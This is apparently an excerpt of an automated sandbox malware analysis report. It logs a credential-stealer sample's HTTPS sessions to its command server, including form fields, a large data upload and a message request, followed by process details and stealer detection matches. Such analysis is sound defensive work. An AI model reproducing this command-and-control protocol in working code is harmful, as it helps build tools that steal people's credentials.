34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"652DA26F4D7D4E8FDC2BDE9EF443DAA9--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-28 22:47:08 UTC	5111	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 Data Ascii: `M?lrQMn 64F6(X&7~`
2024-10-28 22:47:09 UTC	1014	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 22:47:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c7coc9mct4sret87qm7mfv9af2; expires=Fri, 21 Feb 2025 16:33:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9TvfOVK2cnPaMG8cJOWorMdaBOtMehWA7amEtskEBiINg3PrJ6haL6QQJyaZsvuXr8s6IMvJMSsc77PhDrJ47O5KGJGNWp9aFG9GYDgzZqAAZcN0NW0PJBA0r3E64eY3%2BLG854o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9e7743d8a26ba9-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1190&sent=11&recv=25&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21406&delivery_rate=2278520&cwnd=251&unsent_bytes=0&cid=7792cb4e4e5c8abf&ts=1310&x=0"
2024-10-28 22:47:09 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 0d 0a Data Ascii: 11ok 155.94.241.188
2024-10-28 22:47:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	188.114.97.3	443	7348	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 22:47:10 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1254 Host: necklacedmny.store
2024-10-28 22:47:10 UTC	1254	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 35 32 44 41 32 36 46 34 44 37 44 34 45 38 46 44 43 32 42 44 45 39 45 46 34 34 33 44 41 41 39 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"652DA26F4D7D4E8FDC2BDE9EF443DAA9--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-28 22:47:11 UTC	1020	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 22:47:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ij5fv2hatm2lbslti443n07dhv; expires=Fri, 21 Feb 2025 16:33:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=N80gsWmlx79qh681bKm4xK1bjLKu9wLtgH1oLQuOx%2Fyl6%2FoD%2BI7muLVs5XY%2FPufF2cn1ZN%2FMa321od5r3MV61oF9%2BOx3Hwbq5YfeGZcW3a9bseotFjVW0bZ12P7s5Ox8BfAl5pQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9e7752dfee6b25-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1173&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2173&delivery_rate=2379622&cwnd=251&unsent_bytes=0&cid=3d5ef0aa6184fc2e&ts=579&x=0"
2024-10-28 22:47:11 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 38 0d 0a Data Ascii: 11ok 155.94.241.188
2024-10-28 22:47:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49736	188.114.97.3	443	7348	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 22:47:12 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 588582 Host: necklacedmny.store
2024-10-28 22:47:12 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 35 32 44 41 32 36 46 34 44 37 44 34 45 38 46 44 43 32 42 44 45 39 45 46 34 34 33 44 41 41 39 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"652DA26F4D7D4E8FDC2BDE9EF443DAA9--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-28 22:47:12 UTC	15331	OUT	Data Raw: b8 2d 95 1b 6d 55 73 5b cd 7f 30 d7 e3 90 cd 7d ff 86 bc 00 0b 44 02 d8 8d db 34 95 46 3b b4 03 56 cc d9 ec ab b4 8b c0 46 2b 6a 65 3f f4 18 f5 4e 3b b3 f3 89 4b ac 0a d2 eb aa df fe bf 0d 46 c8 e5 1a a0 7f 68 05 33 38 10 63 42 cd 65 23 05 27 08 44 98 86 b5 c6 68 ac 47 3c 2b 8f e2 29 82 da dc 4d 09 3c 18 09 6f f1 50 ec db 2c 21 e6 41 c9 6e 01 60 93 98 6e ef 86 03 8d 72 0b 57 4c d0 51 22 cf ed 4b 20 59 65 98 2a b2 5d a4 41 f3 de f8 94 12 12 fb c5 98 25 d4 21 49 77 d8 84 22 07 07 e2 5f fe 1e 57 e6 4e 68 c6 51 2b cd 64 d4 fb 61 e9 ae 22 60 e9 c2 9d 2c 2a c6 14 9e c7 cc 51 52 b7 1a 7d 9d e5 d8 75 0e 84 4d e2 8a 5c f5 46 9d c9 88 8f ad 34 95 cc cc c0 c2 e2 cb 1a 53 6f 97 80 f7 1e 9a 16 da 9f 0f 4c fe 44 2f 6c 10 02 8c 1e 98 07 16 c9 59 43 e4 91 ba 9a af 89 5f Data Ascii: -mUs[0}D4F;VF+je?N;KFh38cBe#'DhG<+)M<oP,!An`nrWLQ"K Ye]A%!Iw"_WNhQ+da"`,QR}uM\F4SoLD/lYC_
2024-10-28 22:47:12 UTC	15331	OUT	Data Raw: e9 91 62 db 74 eb 18 ea 3b 6f 76 1c d5 16 ec 98 0b 88 6a fc 87 a0 bf 6d bd 50 73 09 d6 d0 90 3e 19 29 3f 52 1d 03 96 52 68 c4 61 e9 a1 74 b3 bb 32 47 e1 35 e3 50 b3 58 a2 27 8e 8c 59 d0 b9 de f8 49 6f 26 4c a9 cd 0c f6 6f 31 8a 5a f9 8e 8d f2 f4 de f0 18 20 d9 33 7e 8a 9e b4 76 95 09 f2 de 43 9e 1b 7a 1a 41 fe 29 60 e7 c9 af 9a ad b4 91 e1 69 31 be 3d 64 fc d2 d2 22 c4 51 00 7f 80 f3 5c 72 fb d4 ab e6 2f 72 0c d8 df 6b be a7 27 68 6a e6 5c 64 c6 dc 47 4d 24 de 9f 94 ee f8 1d 8f 22 36 3f ab fe b9 de 24 c5 50 e6 b4 dd 21 9a 05 fe 58 6b 3c 4b 40 d5 fe 65 db fc 55 b1 3e 70 2f 7b 38 d5 69 95 34 d2 80 1a bb 0c 2c a2 a9 f8 19 fc b2 e4 af 22 e2 19 27 fb 19 f9 21 85 34 2b 6a 36 1c 3f 18 cd 7a e0 41 53 41 d5 18 45 78 5f f5 dc c2 8f 5d ce 6f d5 06 bd 52 a1 d2 8b 17 Data Ascii: bt;ovjmPs>)?RRhat2G5PX'YIo&Lo1Z 3~vCzA)`i1=d"Q\r/rk'hj\dGM$"6?$P!Xk<K@eU>p/{8i4,"'!4+j6?zASAEx_]oR
2024-10-28 22:47:12 UTC	15331	OUT	Data Raw: 69 8f 00 5b a8 7a 4e c2 ab 17 e0 4e ea 80 f5 db 9b af 2e 6e 30 8d 16 04 c0 dd 80 92 83 1f fa 15 38 38 a8 fd 30 9c 42 eb 6b 8d 48 f7 79 e8 d8 9b 95 d9 b9 5b d6 c3 d2 c2 ad 67 bc 99 0e 9c 47 82 df 55 63 46 9d 47 fe 51 aa 64 af 4f 5d 9a c3 fa 0c d2 6e b6 0e 99 3d 38 cc bd bb 57 20 4f 17 81 7d 64 44 e2 3a 5f 66 a8 7d 90 3b ca 81 b1 d3 20 5b 77 c8 ff 9a 30 58 38 2b 08 96 c3 d8 3b 81 43 9f b8 9d 31 44 d0 cf 61 d5 ec f3 f5 7b 03 ce 62 a6 eb 07 84 1c 23 2c 37 42 76 3d 04 13 3b 8e 0d e1 58 17 33 fe b5 fb 4a e5 30 e9 ab ac cf a4 8e 5e bb ec f8 47 c2 ec 60 e8 6b 22 79 d2 5f 3a b6 22 fa 00 aa 78 d6 3f d6 4d de e0 c7 9e b7 26 f8 c2 30 6b 65 90 4c d6 56 be f9 4f c6 1b 69 89 57 b9 8f 46 9b 59 cf e2 da ef e8 7d 42 e5 9d 90 2f 92 68 4f fa a2 ae aa a8 37 7f 17 00 31 b8 39 Data Ascii: i[zNN.n0880BkHy[gGUcFGQdO]n=8W O}dD:_f}; [w0X8+;C1Da{b#,7Bv=;X3J0^G`k"y_:"x?M&0keLVOiWFY}B/hO719
2024-10-28 22:47:12 UTC	15331	OUT	Data Raw: 7f dd 11 97 b7 f4 a3 de 24 e6 16 86 bb db d1 33 2d 6a fa e0 d9 6c 8f 8c 70 0e c7 17 07 17 3c f3 97 2f e9 ef 88 22 3f 76 45 15 1a 67 30 f2 ae e0 ee 24 ee ce ec 89 5e 6a 03 40 40 16 0a 43 45 e4 c2 00 6f 46 8c de 8f 46 10 99 0c 27 88 b9 e1 64 23 7e bc af ff b5 5f 16 22 df 10 ec d9 fa 5f 11 f2 ff ba 29 e3 38 47 79 9a 03 a0 7c 93 87 9d e7 ce e6 b4 53 50 2c f2 e7 07 0f 67 ca 6e e6 f9 10 29 b5 0f 5b 33 af f1 82 c3 ea 7c 30 02 64 5c 5f d3 21 fd d7 7e 48 88 c5 63 b9 8e 6e b7 fa cd 49 6d 6d 3e fe f6 a0 ce aa e4 4c 50 9e d0 28 16 9c 85 ec b9 80 d9 2a 42 cb e5 86 0c a4 4c 2f 22 ed c3 f9 23 84 a7 ae f9 a9 01 67 f4 ca b5 89 de 4a e4 96 fc 1c 0a 74 e9 45 0c 8d 0f 90 db 2f 66 36 46 08 8d 9d be 92 06 49 09 1e 81 73 2c 8c 3e 23 e9 8a 02 89 fd e1 47 2f 9c 00 d5 5c a3 17 f9 Data Ascii: $3-jlp</"?vEg0$^j@@CEoFF'd#~_"_)8Gy\|SP,gn)[3\|0d\_!~HcnImm>LP(*BL/"#gJtE/f6FIs,>#G/\
2024-10-28 22:47:12 UTC	15331	OUT	Data Raw: 7b 3d 40 4e 52 e1 d3 77 75 bb 13 11 d0 9e 76 22 c9 b3 46 b6 86 b4 e7 54 ca 05 c1 3a 61 a0 d9 2d 44 8a df 14 fb 09 eb 74 79 e1 32 eb 91 7d 71 f7 9a 6c 9b 95 f1 fe fd f8 dc 37 b0 a4 73 f2 1e 30 32 06 f0 b2 3c d3 dd 1a 10 5c 99 d8 fd db 69 ac 26 53 a2 30 f7 18 2c ce 7f 29 75 3f fe 18 ec af 54 8a 0b 46 96 22 b5 59 fa 61 95 33 a7 a7 c9 96 d8 f9 a3 f5 8a d8 26 46 76 66 69 3c e0 71 72 e2 1c 66 19 21 34 0f 63 ae 3f 3b cc 2e 52 f1 d4 f4 e5 9c 60 7f 0f a4 68 7e 04 6d 8d c1 5d cb 4d d5 33 3c fb 96 cc df 9a 27 21 f1 08 aa f6 1e 1c 2e 49 c5 54 21 3d 4c bf 05 55 22 d0 30 a4 14 30 33 fa c3 95 eb 78 c6 21 3b 24 63 b4 28 49 47 39 78 91 53 c4 c4 1e 1f c6 74 c5 50 f1 7b fb 6d 39 e3 50 ad 42 e5 53 d2 b8 1e 0c da ad d3 82 f1 5b 9d 34 2b 7c c5 22 fd 49 54 04 c8 f8 fb dc 5f 22 Data Ascii: {=@NRwuv"FT:a-Dty2}ql7s02<\i&S0,)u?TF"Ya3&Fvfi<qrf!4c?;.R`h~m]M3<'!.IT!=LU"003x!;$c(IG9xStP{m9PBS[4+\|"IT_"
2024-10-28 22:47:12 UTC	15331	OUT	Data Raw: a1 1b 02 f8 d6 2f 9e e6 3d 0a 43 0f ae 53 28 61 8f 25 ea 23 5f 36 ed 0e aa ec e0 71 88 47 35 88 e6 30 dc fe 2d 0a 8f 5c 2c d7 81 f3 bd 97 2f c2 66 08 20 a5 53 97 9b 92 95 b3 3e 69 33 5a 61 c4 d9 89 0e 31 52 8d c9 97 90 72 6c 80 44 a5 fc 11 a8 fd a4 10 83 ed af 97 0c 85 0a 6e bd 8e a7 d9 ea 00 88 93 f0 99 b3 dc 97 1b ba fe dd 3e 41 1a 58 56 4f 3f e6 07 73 fa b0 01 25 10 7c 08 49 81 18 c3 51 22 a0 b1 88 b2 57 b7 f7 83 0b b9 64 e9 fd bb f6 af ab 76 0f ec 86 87 06 60 ac 01 ef d6 33 1e 35 9b 13 00 c8 65 83 a5 28 f9 c7 46 ef 6e dc e2 04 ba 5c a5 58 0d a7 92 40 51 da f0 4c 53 de 47 1d 13 12 9a e7 86 80 d7 b0 8e 85 87 cb ec 47 2e 76 c1 a0 d7 b8 08 69 31 23 30 3a f5 ee 6a fb de 38 f5 91 2c 39 c4 5d 1f 4b 6a 46 50 eb 0f 11 9e 96 5e d9 17 bc 01 ab ea d9 10 38 16 45 Data Ascii: /=CS(a%#_6qG50-\,/f S>i3Za1RrlDn>AXVO?s%\|IQ"Wdv`35e(Fn\X@QLSGG.vi1#0:j8,9]KjFP^8E
2024-10-28 22:47:12 UTC	15331	OUT	Data Raw: 6a ef da 18 ac be 19 2e c8 3b bf e7 61 40 db 25 cc 73 93 b0 9c 8a 80 5b 85 37 fe 3c b7 d8 1d 7e fe 34 30 07 b5 45 0f bf fa d8 8c aa d2 14 13 0e a8 f7 e9 02 a3 5f bb 83 56 02 16 71 ab 3a 5f 07 05 42 c2 c3 17 06 87 7c 10 6c a8 47 a9 b4 78 d9 6d 4e a6 a2 8c 57 e3 93 31 59 d4 30 d6 4d 49 fd b9 59 35 3f 1d c3 61 ba 19 2f 5e 9c 62 4e b7 dc 45 00 63 93 f4 a0 1f 8b d7 b7 5e 19 f1 a2 91 fa e1 ec fe 92 af 99 fd fa b1 d8 03 54 15 f6 d8 e1 f4 d3 1f 99 1e ef 43 3a da a0 db 9b c9 3f 85 2c 59 33 c9 fc 25 ef 4d dc 53 ad 4f a8 d1 ef 5f 7e 34 fc 04 b4 54 1e de f8 c7 ee 71 7a fe 39 21 d6 f0 1e 68 3b bb b7 6a 9a 4f 51 76 63 ce 70 43 c6 76 c5 4e a3 c0 7c 51 f7 65 e7 45 a7 55 dd 18 ee 66 ce 50 51 02 6b 4b 47 88 ec 4a 3a 5c f5 b0 9a 73 06 7a e5 bf be 31 14 72 05 1c 2c ab 6e f3 Data Ascii: j.;a@%s[7<~40E_Vq:_B\|lGxmNW1Y0MIY5?a/^bNEc^TC:?,Y3%MSO_~4Tqz9!h;jOQvcpCvN\|QeEUfPQkKGJ:\sz1r,n
2024-10-28 22:47:12 UTC	15331	OUT	Data Raw: a6 fa c2 75 14 5b 1a 94 3e 41 a6 f4 d8 10 bb 5e a1 9e 2b fd b6 63 65 53 1e 8b 8f 77 0a 83 a8 cd 92 4f e1 76 ef e6 12 19 89 63 e2 73 fa 22 a1 6b 1c 67 69 b0 ee a6 0e 88 2a 04 e6 c4 7a d6 5e 5b 37 01 09 01 84 ec e9 b3 6c 13 3f a8 f4 2e d6 e7 69 ba f4 6d 07 cb 0c a7 6c 23 61 61 d8 66 b8 2a 2a e4 ec b7 ea cb 0f 94 c2 3d 37 4b 12 c8 e8 68 03 9e 98 b8 8b c9 9b 66 c6 a8 30 63 23 44 0e 7b a9 3a 05 d3 a8 57 60 11 1a f4 54 7d b3 51 fb 30 b3 49 70 c4 84 64 ae dd b4 dc a6 a6 ad ca 48 e5 65 cf 53 09 98 87 d8 02 e9 50 f7 4f c9 05 89 3a 60 c6 60 84 53 c1 34 46 ce 1d 20 1b 2b ea 4f 89 59 a2 23 cb 30 e2 c2 2f 15 61 dc 66 3b a4 a7 56 60 0b a9 f4 85 a5 ae c9 64 3a eb bd d7 64 ec c1 36 8e 52 e2 97 0f ac df 1d 12 13 42 fb fd 3e d4 01 88 69 e1 17 23 bf 26 6a 27 a1 89 f2 c8 8e Data Ascii: u[>A^+ceSwOvcs"kgiz^[7l?.iml#aaf*=7Khf0c#D{:W`T}Q0IpdHeSPO:``S4F +OY#0/af;V`d:d6RB>i#&j'
2024-10-28 22:47:12 UTC	15331	OUT	Data Raw: eb b9 6a 43 a6 0f a7 36 e3 d8 cf d7 2b cf b3 d7 ef a4 65 2d 0e ce 9f 2f 18 0c 76 5f f2 8d a8 a9 9d 1e 3d 39 ae cf 7c 29 fb 44 61 34 c0 6f 34 44 45 b8 ef 44 50 7d e4 53 ee 32 29 44 9f 19 61 89 0c 49 ec 66 f4 0d af ed a4 31 7d 33 38 11 07 5c df 36 d6 9e 2f 78 c7 d0 0f 29 3b c5 1e 5c 74 bf 55 62 2e 7b dc e4 4b c3 fb bb 59 b7 66 0c 0b 02 f0 79 9d d3 e6 98 85 4f 76 e4 f3 36 b9 09 35 4f 05 87 36 1a a4 86 fb 0c 1b dc f0 0b f3 78 d6 3d 92 8c 9f 7d 85 a5 45 b0 9b 3f ac 65 b2 f2 47 4e ed 04 f1 a3 9f 21 2a 91 a1 51 b4 43 a8 81 0f dc 84 fe 82 3f 07 ff 73 9f c5 c6 2b 07 4d 78 bc 63 e5 6f 93 d3 30 12 32 93 46 99 06 d0 a9 ef e7 4c 26 58 5c c3 b9 1b c9 ec 45 05 f0 c8 e4 e9 ee 10 51 45 38 79 ed 27 20 b8 39 0c 9b dd 6d 68 40 c3 89 c1 46 63 d5 d1 fd c5 18 3f ae 92 75 4d 09 Data Ascii: jC6+e-/v_=9\|)Da4o4DEDP}S2)DaIf1}38\6/x);\tUb.{KYfyOv65O6x=}E?eGN!*QC?s+Mxco02FL&X\EQE8y' 9mh@Fc?uM
2024-10-28 22:47:16 UTC	1031	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 22:47:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=el561kc49d6osmodcnpvsn0ra4; expires=Fri, 21 Feb 2025 16:33:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=i%2Bx8bnJzFuF290h6TYmAPJcVioWm8WWbGFnRyWMKGnbuGB%2BufyznElvdmQvLP0EbpkYKL%2FaZXs%2BSIdTrWLl%2BGaovFFGmEV53tyTA%2B%2F3Su9aOY%2BgxkyDz9uv4hIMBIG4eG1sgCC0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9e77603f916b3c-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1298&sent=229&recv=637&lost=0&retrans=0&sent_bytes=2846&recv_bytes=591175&delivery_rate=2190620&cwnd=251&unsent_bytes=0&cid=1b7d8a9ec3502975&ts=3697&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49738	188.114.97.3	443	7348	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 22:47:17 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-28 22:47:17 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 36 35 32 44 41 32 36 46 34 44 37 44 34 45 38 46 44 43 32 42 44 45 39 45 46 34 34 33 44 41 41 39 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=652DA26F4D7D4E8FDC2BDE9EF443DAA9
2024-10-28 22:47:17 UTC	1015	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 22:47:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5t6bf9db6um0k2910ijm548vm4; expires=Fri, 21 Feb 2025 16:33:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2F3alGI2sbZaaRcEkVU%2BauVLspUriA7YdLJKeO0LQ2rx8%2BIVXaV2rsWdeqt7Ybc0srUEaRfBGTjSx9kPjJ8WbjLuyqyu6YrAM16U2C9TTOQWSvBYZR8kmEzOtLSa%2F6zzESYHB3CU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d9e777ccd35e5fa-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1212&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=989&delivery_rate=2385502&cwnd=248&unsent_bytes=0&cid=f7a8844273fde560&ts=582&x=0"
2024-10-28 22:47:17 UTC	130	IN	Data Raw: 37 63 0d 0a 39 30 69 6d 51 70 6b 34 46 78 33 6a 6e 67 2b 78 43 4f 42 4a 4e 5a 6a 47 75 68 36 33 38 51 4b 2b 50 74 39 71 63 78 39 32 77 65 36 73 4d 34 51 33 75 77 49 31 64 5a 66 71 66 34 74 55 7a 78 55 61 71 66 36 50 4d 49 58 41 4e 35 41 50 37 6c 6c 64 4c 6b 43 64 77 5a 67 75 77 42 36 32 58 48 4a 37 7a 66 74 33 31 43 72 4d 61 31 50 73 35 49 41 75 6d 39 4e 6e 6e 41 54 76 46 79 34 3d 0d 0a Data Ascii: 7c90imQpk4Fx3jng+xCOBJNZjGuh638QK+Pt9qcx92we6sM4Q3uwI1dZfqf4tUzxUaqf6PMIXAN5AP7lldLkCdwZguwB62XHJ7zft31CrMa1Ps5IAum9NnnATvFy4=
2024-10-28 22:47:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	18:46:59
Start date:	28/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x190000
File size:	2'962'432 bytes
MD5 hash:	7FBCCC99D0D932806001E586244A2753
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1798881535.0000000000AB2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1760762964.0000000000AB1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1760634013.0000000000AB1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1745974561.0000000000AB2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1794846735.0000000000AB1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1773211916.0000000000AB1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1745890710.0000000000AB1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1773908608.0000000000AB1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	18:47:23
Start date:	28/10/2024
Path:	C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\T4SWNFFH9VCKTA3D54ZZ0K.exe"
Imagebase:	0x6e0000
File size:	2'806'784 bytes
MD5 hash:	A3987AF8779CFCADCA21B72BA0ADEE63
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	2.8%
Dynamic/Decrypted Code Coverage:	23.7%
Signature Coverage:	7.9%
Total number of Nodes:	38
